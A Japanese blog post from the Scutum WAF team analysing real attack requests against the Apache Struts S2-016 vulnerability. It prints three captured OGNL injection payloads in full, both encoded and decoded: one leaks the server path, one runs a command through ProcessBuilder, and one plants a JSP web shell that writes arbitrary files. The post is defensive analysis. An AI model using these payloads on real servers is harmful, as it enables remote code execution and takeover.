技術者ブログ

クラウド型WAF「Scutum(スキュータム)」の開発者/エンジニアによるブログです。
金床“Kanatoko”をはじめとする株式会社ビットフォレストの技術チームが、“WAFを支える技術”をテーマに幅広く、不定期に更新中!

2017年10月

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31        
  • お問い合わせはこちら
Scutum開発者/エンジニアによる技術ブログ WAF Tech Blog

Apache Strutsの脆弱性(S2-016)を狙った攻撃の実例

Apache Struts の脆弱性について

Apache Strutsに脆弱性が見つかっています。過去にもStrutsではOGNL関係で任意のJavaコードが実行可能な脆弱性が見つかっていますが、今回もそれによく似た原因に起因するもののようです。攻撃者によって任意のJavaコードが実行され、サーバが攻撃を受ける可能性があります。

本脆弱性に関して、JPCERTコーディネーションセンターより以下の注意喚起が行われています。

Apache Struts の脆弱性 (S2-016) に関する注意喚起 【2013.07.19】

Scutumでは先月より、この脆弱性を狙ったものと思われる下記のような攻撃を観測しています(リクエストは一部加工されています)。

観測されたリクエスト その1

GET /foo/foo.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D HTTP/1.1
Host: www.example.jp
Connection: Keep-Alive
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; SE 2.X MetaSr 1.0)
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=12345

Accept-Languageを見ると、何となくどの方向から攻撃が来たのか伝わってくるようなリクエストです。

リクエスト行をURLデコードすると次のようになります。

/foo/foo.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}

特に悪意あるコマンドをサーバ上で実行するものではなく、アプリケーションサーバに関する情報を収集するような内容に見えます。

観測されたリクエスト その2

GET /foo/foo.do?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char%5B50000%5D,%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7D HTTP/1.0
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: https://www.example.jp/foo/foo.do?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27whoami%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
Content-Type: application/x-www-form-urlencoded
User-Agent: * Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Host: www.example.jp
Connection: Keep-Alive

User-AgentとしてGooglebotを名乗っていますが、実際のIPアドレスはGoogleではありませんでした。また、よく見ると、GETリクエストなのにContent-Typeヘッダが付いていたりとExploitコードらしい不自然さがあります。

リクエスト行をURLデコードすると次のようになります。

/foo/foo.do?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

ProcessBuilderクラスを利用してサーバ上でプロセスを作成し、whoisコマンドを実行しようとしています。

観測されたリクエスト その3

GET /foo/foo.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22inback.jsp%22).replaceAll("\\\\",%20"/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e HTTP/1.1
User-Agent: Sturt2
Host: www.example.jp
Cache-Control: no-cache

リクエスト行だけ見ると「その1」とよく似たリクエストですが、リクエストヘッダの各フィールドはかなり違っています。User-Agentが「Sturt2」となっており、明らかにExploitコードです。

リクエスト行をURLデコードすると次のようになります。

/foo/foo.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#p=(#req.getRealPath("/")+"inback.jsp").replaceAll("\\\\", "/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

ExploitコードはPHP製?

脆弱性が公表された直後から、Exploitコードはネット上で簡単に手に入る状態になっていました。

PHP製というのも興味深いですし、実行例がWindowsのコマンドプロンプトであるところなども非常に面白いです(個人的に、「phpstudy」というディレクトリ名がツボです...)。

ぜひWAFの導入を

このような、フレームワークに見つかる脆弱性というのはなかなか厄介です。可能な限り、急いでアップデートを行ってください。そう簡単にはアップデートできないよ!という人には、私たちの提供しているSaaS型WAFであるScutum(スキュータム)のように、一ヶ月単位で契約可能なWAFサービスもありますので、まずは気軽にご相談ください。

Apache Strutsの脆弱性を利用した攻撃への対応(Scutum技術関連情報) 1か月単位で利用可能なWAサービス「Scutum」の料金体系